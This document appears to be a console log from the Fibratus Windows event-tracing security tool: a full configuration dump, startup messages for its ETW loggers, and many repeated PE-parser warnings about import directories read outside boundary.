config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] eventlog=>[ verbose=>false enabled=>true] systray=>[ sound=>true enabled=>true quiet-mode=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[] enabled=>true]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + kstream ........................ [ buffer-size=>512 enable-mem=>true blacklist=>[ events=>[] images=>[]] min-buffers=>16 enable-image=>true enable-audit-api=>true flush-interval=>1s enable-registry=>true enable-dns=>true enable-handle=>false enable-thread=>true enable-fileio=>true enable-vamap=>true enable-net=>true stack-enrichment=>true max-buffers=>36] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-size=>100 max-backups=>15 max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ serializer=>json timeout=>5s endpoints=>[] method=>POST tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false] amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false passive=>false delivery-mode=>transient durable=>false timeout=>5s url=>amqp://localhost:5672 routing-key=>fibratus exchange-type=>topic vhost=>/] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true] elasticsearch=>[ healthcheck-interval=>10s sniff=>false trace-log=>false timeout=>5s template-name=>fibratus healthcheck=>true enabled=>false flush-period=>1s healthcheck-timeout=>5s bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false index-name=>fibratus]] + pe ............................. [ enabled=>false excluded-images=>[] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-files=>true excluded-procs=>[] alert-template=>[] enabled=>false excluded-files=>[] fastscan=>true alert-via=>mail] source=bootstrap/bootstrap.go:183 +time=2025-11-12T11:30:11+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-12T11:30:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:30:13+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:30:13+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:30:14+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:30:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:21+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:23+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:27+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:29+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:31+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:37+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:39+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:41+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:43+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:50+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:51+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:53+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:55+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:30:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:31:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 